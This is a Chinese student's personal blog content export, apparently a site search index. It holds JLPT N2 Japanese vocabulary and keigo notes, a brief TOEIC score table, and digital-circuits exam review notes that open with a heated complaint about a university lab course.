\u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e8\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e9\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个，看来是没有什么变化了）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e懒得写了\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385 + ？\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd style=\"text-align: center\"\u003e10\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e/\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385（错23个，提前3min写完，状态最好的一集）\u003c/td\u003e\n          \u003ctd style=\"text-align: center\"\u003e385\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\n\n\u003ch1 class=\"relative group\"\u003eWord \n    \u003cdiv id=\"word\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#word\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t说实话，刚考完N2,而且好久没有学过英语了，有点没有动力，但是不想浪费\u003cstrong\u003e808元RMB\u003c/strong\u003e。\u003c/p\u003e","title":"Toeic","type":"life"},{"content":" Japanese_N2 # 这是我在N2考试之前的学习之中简单整理的一些错误点。\n这个可以简单理解成N2错题本。\u0026mdash;》如果考过了我会总结一下经验（备考的）\n我觉得这是很好的学习方法，说实话感觉整理迟了，在N1学习的时候我会系统的这样进行整理！\n日本語を勉強しましょう！\n​\t现在考完了，简单总结一下，大概基础错了6-7个，阅读错了两个（但是我认为阅读是这次比较难的部分，很多都拿不准，答案也是moji的回忆版本，应该差不多），听力错了3个（听力状态不错，虽然前一天晚上没怎么睡觉），总的来说肯定是能过，而且分数应该还挺高，半年左右不算白学（N2本身也不是算很难），之后就是冲N1了，一直考，直到考过了为止，继续加油吧！\n​\t2025.7.6\t写于西安交通大学仲英书院\n​\t成绩出来了,词汇语法56,听力和阅读都是60,确实不错.\n​\t2025.8.25\t写于西安\n単語 # 真理を追究する \u0026mdash;》追究的意思是弄清和探索\tついきゅう\n責任を追及する \u0026mdash;》追及，有追究责任的意思\n速やか　すみやか　快速地\n和やか　なごやか　和やかな雰囲気\n故郷を思い浮かべる　回想起来故乡　浮かべる　うかべる\n名案を思いつく　忽然想到一个好点子\n手品　てじな　魔術です\n利子　りし\n手抜き　手抜き工事　偷工减料的工程\u0026mdash;》豆腐渣工程\nだらしない　お金にだらしない\n奨励　しょうれい\n惜しむ（おしむ）　惜しまず　努力をおしまず働く\n手当（てあて）　补贴，治疗\n手がかり　线索，头绪\nミスを見落とした\n善良　ぜんりょう\nリハーサル　rehearsal 彩排\nオリエンテーション　orientation 新人教育\nかさかさ\t干巴巴\nどろどろ べたべた\t黏糊糊湿嗒嗒\nふさふさ\t毛绒绒\n駆け抜ける 跑过去，赶超过去\n仕上げる　他动，使完成 完成させる 俯く　うつむく\n腫れる　はれる\n暮れ　今年のくれは　年末\n残高　ざんだか　余额，结余\nそれなり　其れなり　相当的，相应的\n鑑賞　かんしょう　鑑賞力\n口座　こうざ　账户\n通帳　つうちょう　存折\n生き生き　いきいき　有活力\nとうとう　とうとう過労で倒れた\nうろうろ　うろうろと歩き回る\n冗談が通じない　听不懂玩笑话\nこの靴は、ぶかぶかだ　指衣物不和尺寸的大，看起来很臃肿的样子\n新しいゲームが相次いで発売されている　相次いで　あいついで\n相応しい　ふさわしい　相合适\n敬重　けいちょう\n軽重　けいじゅう\n尊重　そんちょう\n景色　けしき\nいい評判だ　评价很好\n深刻　しんこく　严重，重大　深刻な悩みをかかえている\n分析　ぶんせき\n絡まる　糸が絡まる　线缠在一起了\tからまる\t或者也可以指比较麻烦的事情\n持て成す　もてなす　招待，款待　おいしい料理で客をもてなす\nインパクト　impact　冲击力\n大まかな　おおまかな　粗略的，大概的\n多大な　ただいな　巨大的，很大的，不是问有多大，意思和中文不一样\n厚かましい　あつかましい　厚颜无耻的\n鬱陶しい　うっとうしい　闷闷不乐的\nそそっかしい　冒冒失失的\n大凡　おおよそ　大体　だいたい\n収納する　仕舞う　しまう　不仅有结束的意味，还有就这么干吧，或者收拾的意思\n共有財産　きょうゆうざいさん\nはきはき　干脆利落，可能是形容比较顺畅的感觉\nはっきり　清楚，清晰\n〜なんか\t～之类的，有厌恶，轻视的情绪，也可以表示自谦的感觉\n茄子　なす　一个蔬菜名\n〜といった\t表示部分列举，之前没见过\nということになる\t表示客观的结果\nということになっている\t表示结果的残存\n成り切る　なちきる\t彻底成为\n私宛ての手紙\t表示寄给我的信\n背骨　せのね　脊椎\n口調　くちょう　语调，口气\n実践　じっせん\n思い起こす　回想起，回忆\n徐々に　次第に：不要光知道语法，还有慢慢的，逐步的意思\n剥げる　はげる　剥落，脱落的意思\n衣装　いしょう\n受講　上课\n衰える　おとろえる　筋肉がだんだん衰えていく\n救う　すくう\n臆病　おくびょう　胆小，怯懦\nぐっすり寝ている\n疲れてぐったりしてしまう　筋疲力尽\nひそひそ話ている\nばっさり\t徘徊犹豫的样子\n永久　えいきゅう\n愉快　和面白い比较类似，如果用来形容人的话，是形容是一个有意思的人\n容姿\t形容人的外貌\nついていた　形容人的运气好\n~漬け　沉浸在～中\n催し　活动\n細やか　ささやか 小，细小，简单\nなだらか　平稳\n増悪の念　ぞうお　の　ねん\n囁く　ささやく　低声细语\n潰す　つぶす　消磨时间\n拒否　きょひ　拒绝，否决\nいったん　不是一旦的意思，是暂且，姑且\n現象　げんしょう\n続出　ぞくしゅつ　表示事情接连发生\n相互　そうご\n柔軟な思考　じゅうなん　有灵活的意思\n期限切れ　过期\n貿易　ぼうえき\n一日おきにしている\t隔一天一次\n未経験　没有经验\n頑丈　がんじょう　不是形容人的，形容物体比较结实\n買い占める　全部买下来的意思\nパンク　puncture\t破裂，爆胎\n差し支える　さしつかえる　妨碍，有影响，不方便\n引っかかる　挂上，牵连，上当\nあらかじめ　事先，预先\n腹を立てる　生气\n夏休み明け\t比较特殊的表达，表示暑假结束\n東京駅発\t固定搭配\n微か　かすか　略微的，微弱的\n中継　ちゅうけい　转播\n快い　こころよい　爽快，愉快\n文法 # 今でこそ〜が　到了现在才能怎么样\n動詞て形　＋　でも　就算怎样也要怎样，表达了强烈的意愿\n借りる　自谦语\u0026mdash;》拝借（はいしゃく）\n〜間（あいだ）期间一直持续某种状态\n〜間に　这个时间段内采取了某种行为\n〜うちに　趁着某个时机的意思\n名　＋　が契機になって　\u0026hellip;\u0026hellip;成为契机\nに至っては…　至于 ては　有表示条件的语气 疲れてしまってはもったいないですよね～ 如果感到疲劳的话就很可惜了\n満足げな顔\n\u0026hellip;から\u0026hellip;にかけて 从\u0026hellip;到\u0026hellip; 大致的时间范围\n〜ものの　＝　けれども\nあの映画は一度見たものの、話の筋はまったくわからなかった。\n〜とはいうものの 虽然这么说\n申し上げようがないです　无可奉告　ます形　＋　ようがない・ようもない\n例：口にしたことはもう取り戻そうがない\nものがある　〜と感じられる要素がある\n〜ものではない　不应该怎样（忠告）\nあのレストランは安わりにおいしいですよ　虽然，但是（出乎意料，正反面都可以表达）\n〜をこめて　込める　心をこめる　倾注了心血做什么事情\u0026hellip;\u0026hellip;\n辞書を先生として\t把辞典当作老师\n〜をはじめ　始める　以\u0026hellip;为首，为代表\n例：このお寺をはじめ、いろいろな古い建物があります\n敬語 # ​\t简单总结一下敬语，本身比较复杂，但是N2考试的敬语比较简单。而且就几分，我觉得哪怕你完全不会敬语去考试也是没问题的。\n尊他 自谦 郑重 礼貌 美化\n手打的，很不容易。\n動詞 尊敬語 謙譲語 行く いらっしゃる　おいでになる 参る（まいる）　伺う（うかがう）　上がる 来る 見えます　お見えになる　お越しになる　おいでになる　いらっしゃる 参る（まいる）　伺う（うかがう）　上がる（和上面一样） 言う おっしゃる（お名前はなんとおっしゃいますか） 申す　申し上げる いる いらっしゃる　おいでになる おる（おります） する なさる（なさいます） 致す（いたします） 知っている ご存知です （ものを）ぞんじております・知っております　（人を）ぞんじあげております 会う（我去见别人，只有谦让语） ・ お目にかかります 食べる・飲む あがります・めしあがります いただきます・頂戴します 見る ご覧になります 拝見します・拝見致します 思う ・ 存じます 聞く・尋ねる（问别人话或者是拜访别人） ・ 伺います・承ります（うけたまわる） 見せる ・ お目にかける・ご覧に入れる 分かる ・ 承知します・かしこまります あげる ・ 差し上げる くれる くださる（くださいます） ・ もらう ・ いただく（いただきます） 1.尊他语：抬升别人的地位。 # １．お・ご〜になる\n例：ご出席になりますか。\n２．お・ご〜なさる\nしばらくお待ちなっさてください。\n３．「れる」「られる」类似于被动态\n書かれた本です。\n散歩されます。\n４．お・ご〜くださる\n少々おまちくださいます。\nお早めにお召し上がりください。\n５．お・ご〜です\nお出かけですか。\n６．〜で・ていらっしゃる\nです・でいる・である的尊敬语\nお元気でいらっしゃいますか。\n７．〜（させ）てくださる\nこの機械の使い方を説明させてください。\n请求上级允许自己做某件事情。\n2.自谦语：降低自己的地位。 # １．お・ご〜する\nお荷物、お預かりします。\n２．お・ご〜いたす\nお持ちいたしましょうか、お荷物。（因为いたす就是する的谦让语么）\nお待たせいたしました。\t（我）让您久等了。\n３．〜（さ）せていただく\n这是まらう的自谦形式，请求上级允许自己做某事，通知也会这样说。\nChrychicを、やめさせていただきますわ。\n请让我退出这个乐队。\n４．〜ていただく\n​\t注意上面这两个语法，我们可以总结出规律，如果选项中有お・ご，那么一定不能有て，同理，如果有て，那么一定不能有お・ご。\n５．お・ご〜いただく\n这里中间的动作是别人的动作，表示我受了别人的恩惠。\n​\t这个比较容易错，是我想让别人做这件事情，别人做了这件事情就是为我好，我受了恩惠，所以会使用这个语法。\n６．お・ご申し上げる\nお願い申し上げます。\nお詫び申し上げます。\n７．お・ご〜願う\n3.礼貌语：平级的，比如使用ます。\n4.美化语：お　＋　固有训读\tご　＋\t音读（一般规则）\n5.郑重语：ござる\n明天考试，希望不难吧，也是一年的努力受到检验的时候。\n","date":"2025-07-07","externalUrl":null,"permalink":"/zh-cn/life/japanese_n2/","section":"Life","summary":"\u003ch1 class=\"relative group\"\u003eJapanese_N2 \n    \u003cdiv id=\"japanese_n2\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#japanese_n2\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这是我在\u003cstrong\u003eN2\u003c/strong\u003e考试之前的学习之中简单整理的一些错误点。\u003c/p\u003e\n\u003cp\u003e这个可以简单理解成N2错题本。\u0026mdash;》如果考过了我会总结一下经验（备考的）\u003c/p\u003e\n\u003cp\u003e我觉得这是很好的学习方法，说实话感觉整理迟了，在N1学习的时候我会系统的这样进行整理！\u003c/p\u003e\n\u003cp\u003e日本語を勉強しましょう！\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e​\t现在考完了，简单总结一下，大概基础错了6-7个，阅读错了两个（但是我认为阅读是这次比较难的部分，很多都拿不准，答案也是moji的回忆版本，应该差不多），听力错了3个（听力状态不错，虽然前一天晚上没怎么睡觉），总的来说肯定是能过，而且分数应该还挺高，半年左右不算白学（N2本身也不是算很难），之后就是冲N1了，一直考，直到考过了为止，继续加油吧！\u003c/p\u003e","title":"Japanese_N2","type":"life"},{"content":" ​\t这里是我个人整理的一些关于学校课程的一些笔记还有资源，如果能帮到你最好，但是笔者的实力有限，很多地方前言不搭后语或者复制粘贴PPT，希望您能谅解。\n​\t考完一场考试之后我会在文章中画重点，所以我个人认为还是有点作用的。\n","date":"2025-06-27","externalUrl":null,"permalink":"/zh-cn/notes/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e​\t这里是我个人整理的一些关于学校课程的一些笔记还有资源，如果能帮到你最好，但是笔者的实力有限，很多地方前言不搭后语或者复制粘贴PPT，希望您能谅解。\u003c/p\u003e\n\u003cp\u003e​\t考完一场考试之后我会在文章中画重点，所以我个人认为还是有点作用的。\u003c/p\u003e\u003c/blockquote\u003e","title":"","type":"notes"},{"content":" 数字电路基础 # 我对于学校数字电路实验的评教，今天遇到了一些事情，真的非常生气，我不写出来实在是难受：\n​\t我校的以vivado为开发平台的数字电路实验是相当不合理的：\n​\t1.学生对于vivado没有相当的基础，身为一名计算机学院的学生，对于计算机组成原理的重要性认知很清楚，但是对于硬件开发没有合理的认知水平，理论铺设不到位，对于使用的软件更是一知半解。所以我们的实验是怎么开展的呢，“抄代码”，对着截了很多模糊不清的图片的PPT，抄，抄有着“详细注释”的宋体代码，我们试图在西一楼106机房“抄”出来对于数字电路的认知，这是难以置信的。\n​\t2.“你为什么不自己学？”，“自学”，难道我们不懂？一名大二计算机学院的学生，很少有人到现在还体会不到技术上自学的重要性，仅仅是为了搞清楚verilog的语法，你只需要随便上什么菜鸟教程之类的网站看一看就可以，我想说的是，你们给学生泼了一瓢冷水，当我在自己的linux系统上用iverilog编译生成运行测试第一个器件的时候，感受到的兴奋是难以言表的，但是，大多数学生只能在这里感受到重复性劳动的痛苦，以及不明不白的迷惑，因为他们debug的方式就是对这“权威”的PPT进行一行一行的寻找，想找到是否有一个变量名“抄”错了，或者把一个点打成了逗号却没有报错，为什么，因为他们不知道还能使用怎样的方式进行debug了，我还能用怎样的词语来形容这样的学习？\n​\t3.而当代码太多的时候，我相信很多老师对于debug也并没有任何头绪，对于一些更深层次的原理也并没有深刻理解，我在实验四中选择了第一个，我相信选择第一个的人是比较少的，因为大家都认为第二个分多，我对于分数的看法是无所谓的，我想，我只要把一个东西弄明白对我来说哪怕是完成任务也是一种收获，在实验四验收期间，我一直在观察，有一位老师基本没有解决任何问题，而是指挥来指挥去，当我向一位老师请教关于第一个学号计数器的问题时，他好像用很好奇的眼神看着我，好像没有人写这个实验一样，不停的请教您们不下5次，我相信不只是我这样，很多同学都是这样，有的人甚至走的时候都没有找到问题在哪里，我不停的对着PPT看，找问题所在，最后把我的counter实现交给了ChatGPT进行优化（实现没有问题，好像是因为边沿检测的问题，原来普通的counter的逻辑不符合要求，最后留下来的很多同学居然是实验1的，简直是难以置信，设计文件的考察更是让人无语，自己补充两个引脚即可，这样考察的意义在哪里？好像是某种脑筋急转弯让人费解。），因为不同老师的不同建议走了很多奇怪的弯路，不过我倒是对此没有什么怨言，因为debug就是这样，我也经历过很多，所以我也并不着急，我只是觉得您们对于自己设计的东西，设计的任务不够熟悉，好像也是在完成任务，我知道你们也是人，也会出错，但是应该起码对于下达的作业有着“胸有成竹”的一种状态才是比较合适的。\n​\t4.这不是老师们对于学生此方面基础不好的包容，这是一种设计和讲解上的问题，这些做的一塌糊涂的模糊PPT的堆砌，在让学生理解和实践的方面，甚至不如实践教学中心的电工实习！如果您要问我如何解决，对不起，作为学生，我真的水平很低，我只会动动嘴皮子，我不是讲师也并非教授，我没有那么丰富的经验和知识，这也是我为什么来到大学，但是本学期一个简单的0.5学分的实验，让我再一次反思。我对于硬件的开发并没有深厚的兴趣，或许在我大学毕业之后的一生中都不会再去进行把代码烧录到开发板这样的工作，但是我还是不吐不快，我现在只希望下个学期的三个1个学分的核心专业课程的实验不会让人感到失望，不会让学生们感到是在完成某项任务，想尽办法和“抄袭”和“查重”作对，总之，大量的学生花费了大量的时间在这里，得到的东西确实寥寥无几，但是讽刺的是，我认为大多数人也不会有怨言，因为我们需要学分，需要GPA来毕业，无法毕业是谁都难以接受的，这是否是单方面的霸凌呢？我不知道。我很明白，因为我之前在后面也观察到了，今年的开课是否是“实验性”的，你们对此也没有把控，但是我想你们应该会想听到这样的声音，因为不会再有学生在期末周浪费自己的备考时间给您们写这些没用的“小作文”，我的批评相当主观甚至可能偏激，略显傲慢，我明白老师们可能也为此付出了努力，但是，如果您还因为认为自己是一名教育工作者而想继续优化和承担责任的话，那么请您继续优化和思考（或许可以先从把PPT上的代码从宋体改成Consolas等宽字体开始，这并不复杂，在Tools里面选择一下就可以），如果您不这么认为，那么当我什么也没有说就好。最后我想告诉您，无论是谁看到，但是希望不是我的自我安慰：\n\u0026ldquo;Education is not the filling of a pail, but the lighting of a fire.\u0026rdquo; \u0026mdash;William Butler Yeats\n（教育不是给桶里灌水，而是点燃一把火）\n​\t而接下来，对于数字电路的理论，我又要对着PPT复习，这也是没有办法的。我承认孩子们，这就是一场PPT大战，但是能写一点代码也是不错的。\n​\t\u0026mdash;2025.6.15 21:13 写于西安交通大学仲英书院\n[!CAUTION]\n​\t有些人不配作为教育者，他们在尝试和学生斗争，尝试满足某种**“指标”**，他们连从事科学研究的资格都没有。这是我对于这些人最严厉的攻击和指责。\n考试大致的情况：\n教材前4章（习题）及教师上课讲解过的内容为本次考题涉及范围，复习的重点内容概括如下： 第一章：数制与编码、逻辑代数基础（定律、定理、规则）、逻辑函数的表示及化简方法、逻辑门电路（涉及填空、简答题）。 第二章：组合逻辑电路的分析与设计、竞争与险象（判别和消除方法）、常用MSI器件（译码器、编码器、多路选择器、三态缓冲器、加法器）。 第三章：时序电路概念、双稳态元件的原理（重点是触发器）、同步时序电路的分析与设计方法、脉冲异步时序电路分析与设计方法、常用时序逻辑器件（计数器、寄存器）。 第四章：SPLD、CPLD、FPGA的基本原理（仅涉及填空、选择、简答题）、VHDL和Verilog（涉及填空、简答和编程题）。\n​\t考试题型：1）填空题20分，任选10题，多选按前10题给分。2）选择题20分，任选5题，多选按前5题给分，选择题为多选，错选和少选1项扣1分。3）简答题15分，任选5题，多选按前5题给分。4）分析计算题20分，涉及前3章内容，要求给出关键分析步骤，按步骤给分。5）设计题25分，组合和时序逻辑电路设计各1题，VHDL或Verilog编程题1题，要给出关键设计或编程步骤，按步骤给分。\n集中答疑时间：下周四（6月26日），时间：9:00 11:30；14:30 17:30，地点：西一楼，B809（伍老师办公室）、A405（刘老师办公室）、A102（王老师办公室）\n1.精度问题，前面的部分可以把第一章作业过一遍。\n​\t补充，最后期末考了76,平时分给了97（因为我每次都去迁到了），就突击而言还算可以，均分好像都挺低的，很恶心的是考查了很多第4章的内容，甚至第四章一些奇怪的内容能有35%左右的占比，很恶心。\n数制和编码 # 数制相互转换 # *必考：不同进制之间的转换：\n注意需要的小数的位数：\n比如（0.4321）10进制 转 16进制 那么至少这个16进制的数字小数点要多少位？\n数的表示 # 浮点表示方法，用阶码和尾数来进行表示的方法。\n带符号数：原码，补码，反码。\n原码：最高位是符号位。\nx = ＋5 [x]原 = 00000101 y = －7 [y]原 = 10000111\n反码：正数和原码相同，负数是原码的非符号位全部取反。\u0026mdash;》注意这个\nx = ＋5 [x]原 = 00000101 [x]反 = 00000101\ny = －7 [y]原 = 10000111 [y]反 = 11111000\nz = 0 [z]反 = 00000000 [z]反 = 11111111\n把符号位看作一位数值位参与运算，一律按加法规则来处理，所得结果的符号位也就是正确结果的符号（不出现进位）。\n当符号位产生进位时，将产生的进位加到数值位的最低位。\u0026mdash;》这个也要注意\n补码（complement number），又称“对2的补码”。\nx = ＋5 [x]原 = 00000101 [x]补 = 00000101 y = －7 [y]原 = 10000111 [y]补 = 11111001 z = 0 [y]原 = 00000000 [z]补 = 00000000 z=-128 [z]补 = 10000000\n这个我们已经比较熟悉了。负数是原码的非符号位按位取反 + 1。\u0026mdash;》反码 + 1\n十进制数的编码（代码）表示及其运算 # 8421：8421的权重。\n2421：2421的权重。对9自补码。\n余3码：8421权重，然后减去3。\n可靠性编码 # 格雷码（Gray) # 特点：任意两个相邻数的代码（码字）只有一个二进制数位不同。 目的：减少代码生成时发生错误。\n原来的二进制码每两个之间做xor运算得到Gray码。\n这种典型格雷码还有一个特点： 所有对应于十进制数2 m -1 (m为正整数）的格雷码，都仅在m位上有 1， 其他位都为0。 例： m = 1 , 2 m -1 = 1, 1的典型格雷码是0001； m = 2 , 2 m -1 = 3, 3的典型格雷码是0010； m = 3 , 2 m -1 = 7, 7的典型格雷码是0100； m = 4 , 2 m -1 = 15, 15的典型格雷码是1000。\n​\t这些数与 0 之间只有一位的差别，回到 0仍能保持一位差别的特点，所以称作循环码，特别适用做二进制码计数器的编码。\n奇偶校验码（Parity Code） # 注意：是P的取值使得其中的1的个数是奇数还是偶数。\u0026mdash;》重点。\n那么生成的原理也就很简单了。\n海明校验码（Hamming codes） # 很巧妙，考试之前再过一遍比较好。\n逻辑代数基础 # 不说废话，重要的几个定理：\n定理 # 要注意书上的例子，吸收定理之类的东西用来化简。\n对偶函数和反演函数：\n同或和异或运算：\n基本表达式：\n逻辑函数的基本表达形式 # 与或 或与\n最小项和最大项：\n0替代反变量\n1替代反变量\n关系：（这也是为什么表示的方法会不一样）\n*（重点）卡诺图： # 要不要记忆？考试前看一看。\nn 变量函数卡诺图有2n个小方格(或称为单元), 小方格对应最小项。一个逻辑函数可以唯一地图示于卡诺图上。\n简单的例题，我们去求或与项的一个表示：\n（先求反函数的与或式）\n对偶方法：\n先算出对偶式接着进行化简，同样使用反函数的方法也可以。\n那么在卡诺图上也类似：\n我们用这样的方法求最简的或与式。\n如果有无关项尽可能多包含，这样就可以减少变量的个数。\n减少非门的个数的方法 # ​\t1. 替代尾因子法 定义：每个与项中原变量部分称为“头因子”，反变量部分称为“尾因子”。 特点：把头因子中的任何变量放入任一个尾因子中，该与项不变，即头因子是不变的，尾因子是可变的 。\n​\t2.禁止逻辑法：从卡诺图中干掉一部分，这样就能构成更多的大极大圈。\n直接用最小项之和的非进行 * 操作。\n逻辑门电路 # 这一章感觉不是东西，考试前再看一下。\n必须好好看一下，防止送了。\n早期逻辑门 # 双极型晶体管逻辑 基本双极型晶体管逻辑 # MOS晶体管、传输门 # 集成电路集成电路制造技术、封装、规模类型以及使用特性 # 组合逻辑电路 # 描述 # 常用逻辑门的符号：注意xor门的方框内的数字是1。\n表明有效的形式：\n延迟时间等等的基本概念，我们之后还会再次提到。\n分析和设计 # 1、组合逻辑电路的分析 # ​\t电路输出仅取决于当时（前）的输入，而与过去的输入情况无关。\n​\t逻辑图，真值表。\n2、组合逻辑电路的设计 # 设计的一般步骤：\n做几个题试一试就行。\n下面这个顺序有可能会考察，第一部不是先列出真值表。\n分析要求\u0026mdash;真值表（卡诺图化简）\u0026mdash;最简表达式\u0026mdash;变换（使用不同的门电路）\u0026mdash;作出电路逻辑图\n可能会有逻辑电路变换的要求，这样的性能更好。基本都是在进行二次求反。\n这样的设计目前感觉还是比较基础的：\n简单的HalfAdder的描述：\n竞争和险象 # 注意很多比较细节的考察问题。\n电路中普遍存在竞争现象 # 静态险象：功能险象、逻辑险象\n动态险象\n​\t在实际电路中，信号变化不是即时的，存在边沿转换时间；信号在电路中传送必定有导线上的传播时延，信号通过门电路也必定有时间延迟。\n​\t比如这样的一个尖峰脉冲的延迟：\n​\t​\t上述这些时延都可能使电路信号的中间结果及最终输出产生错误的信号。为简化讨论，下面假设信号变化的边沿转换时间为“0”，信号在导线上的传输时间为“0”， 仅考虑逻辑门的时延时间td(Delays) 。\n就是说关于delay，我们只考虑在逻辑门上面的时延。\n1.竞争现象\n​\t竞争定义：某一个信号或同时变化的多个信号，经过不同路径到达某一点时有时差（传输及器件延时等造成的），这 种现象称为竞争。\n​\t竞争分类：对于有错误输出的竞争称之为临界竞争，对于未产生错误输出的竞争称之为非临界竞争。\n​\t2.Hazard\u0026mdash;险象\n​\t险象定义：由于临界竞争的存在，在输出端得到稳定输出之前，输出中有一段的错误输出（干扰），这种现象称之为险象。险象一定是竞争的结果。\n​\t险象分类：通常将险象分为静态险象和动态险象两种类型。\n​\t静态险象：\n​\t当输入信号变化时，按逻辑表达式，输出不应有变化的情况下，而实际上会在输出端产生一个与逻辑状态“1”或“0”对应的高低窄（矮）脉冲的情况，则称之为静态险象。\n​\t就比如说下图就是一个静态的险象：\n​\t​\t它可进一步分为：功能险象，逻辑险象。\n​\t1.功能险象：\n​\t产生的必要条件：\n​\t1.K个输入信号同时产生变化（因为多个信号变化的时候应该是在实现某种功能）。2.这K个信号组成的序列中，必须既有0又有1。\n​\t2.逻辑险象：\n​\t必要条件：只有1个输入信号发生变化。\n其实都是一个例子。\n静态险象的产生：由于输入信号经过不同的路径又汇合到同一个门上的竞争所引起的。\n原来一直是1,但是中间出现了0,比如上面的例子，就是静态“1”险象。\n动态险象\n这里考察了例子，以及动态险象的概念。\n​\t多级组合逻辑电路，若输入信号的变化通过多条路径向输出端汇合时，输出信号稳定前会发生三次变化，其间经过暂时状态0、1或者1、0，这种险象称之为动态险象。输入信号变化的第一次会合只可能产生静态险象，只有在产生了静态险象，输入信号变化的再一次会合，才有可能产生动态险象。动态险象是由静态险象引起的，它也是竞争的结果。同样，在两级“与或”和“或与”电路中都不会发生。\n也就是多个静态险象的2次以上的会合才会导致静态的险象\u0026mdash;》二级电路肯定没有动态险象。\n动态险象的变化肯定不会只有1次。\n举个简单的例子：\n也要注意下面的这个动态的险象\n险象的判别 # 卡诺图法 # 用卡诺图可以判别出两级“与或电路”和两级“或与电路”是否存在静态险象。\n（1）静态 1 险象判别\n​\t在两级“与或”电路或两级“与非-与非”电路中只可能出现静态 1 险象。\u0026mdash;》本质是很多与项的相加，那么就只能是1中间出现了0这样的情况。\n​\t在卡诺图中，与或式中的每个与项对应于一个卡诺圈，如果两个卡诺圈存在着部分“相切”，而这个“相切”的部分又没有被另外的卡诺圈所包含，则该电路必然存在静态 1 险象。\n举个🌰：\n与项相切的位置就会出现静态“1”险象。\n静态 0 险象判别\n​\t在两级“或与”电路或两级“或非—或非”电路中只可能出现静态 0 险象。\u0026mdash;》与项之间更容易出现0，就会出现静态0的险象。\n​\t在卡诺图中，按照圈0单元的卡诺圈是否存在着部分相切，而这个相切的部分又没有被另外的卡诺圈所包含，则该电路必然存在静态 0 险象。\n例子：那么要注意这里先取反函数，接着在画0，最后把相切的位置都要覆盖掉就没有问题了。\n逻辑表达式法 # 当某一变量同时以原变量和反变量的形式出现在逻辑表达式中，则该变量就具备了竞争的条件。\n比如几个典型的例子：\n你去主动选择，促使这个式子出现静态0险象。\n险象的消除 # 增加多余项法和乘以多余因子法\n和上面消除的例子是类似的：\n连接低通环节与增加选通脉冲\n减弱输出端的波动：\n上面这个应该不会考察。\n常用的MSI组合逻辑器件 # 译码器和编码器 # 译码器和编码器的一般结构、二进制译码器、MSI器件及其级联与应用\n有时候要注意使能端的作用。\n编码器，是把代码编的更少，译码器，是把代码翻译出来，所以端口会变多。\n二进制译码器\n译码器输出最小项：\n输入一个二进制的数字，输出是哪一个bit的值是1。\n74LS139\n我们直接控制输出端为0：\n注意是一个双译码器：\n74LS138\n注意这里都是控制输出端为0的位置。注意是CAB定下来某个位置为0。\n电路图大概看一下： 这是使用的要点：\n注意LSB和MSB的含义，高有效位在下面，低有效位在上面。\nBCD译码器74LS49\n这就是七段显示管的基本原理：\n有对应的真值表来显示某种数字：\n我们可以实现最小项的输出（理解这里）：\n当xyz对应了函数中的某个输出的时候，我们才会输出。\n注意是对应的位连在一起，然后使用与非门。（本来的输出是非门）\n对于一个全加器，是三个输入和两个输出（输出由最小项之和来组成），那么这也是可以使用译码器来编程的：\n编码器\n编码器和译码器的逻辑就是完全相反的。\n注意只有一个输入端是有效的。\n我们来考察一个8-3编码器：\nI1 = I2 = 1的时候应该就是 0 0 1,重复？\n我们关注一下这个底层逻辑：谁让这些Y成为1？\n下标二进制对应的bit是1的I，和起来做或运算即可。\n优先权编码器 Priority Encoders\n​\t如果同时出现了多个bit是1的情况，必定是有重复的，因为两者的和一定在3个bit的区间之内，这是没有问题的。\n我们设置最高的为最优先的部分。\n处理的逻辑，考察？\nMSI优先权编码器 74LS148\n注意这里的输入和输出都是低位有效！\u0026mdash;》0才是代表有效位表达。\n当高bit有效的时候，低bit就直接不会在进行考虑了。\n三态门 # 可能会考察。\u0026mdash;》概念：又被称为三态门，可以使得多个源数据分时共享一根数据线。并且注意有三种输出的状态。\n三态门、多路收发器和双向收发器\n三态缓冲器\n比如右边的这个器件，左边连接一个译码器，就能对于源数据端进行选通的操作。\n逻辑符号的表达也很简单：\n用这个来构建三态缓冲器：\n也就是等A1-A7都准备好了，当G1和G2都有效的时候，才把这些进行输出。\u0026mdash;》起到了缓冲的作用。\n接下来是一个双向的缓冲器，观察一下图即可：\n当DIR = 1的时候（图画错了，这个“/”在G的前面），A-B的EN端有效，所以从A传送数据到B端。\n数据分配器和多路选择器 # 考点中强调的是多路选择器。\n数据分配器原理和MSI数据多路选择器\n数据分配器\n简单来说就是根据输入的bit，选定一个输出的通道。\n从这个角度来看，类似于译码器：\nG作为EN端，直接决定了是否有有效的输出。\n注意这里考察了。\n多路选择器\nMUX：那么这个器件在使用的逻辑上和译码器就是相反的，从n路，每一路是Bbit的数据源中选择一路来进行输出。\nn输入b位多路选择器。\u0026mdash;》那么显然输出是Bbit。\n所以输出是怎么决定的？\n比如有8组数据，s = 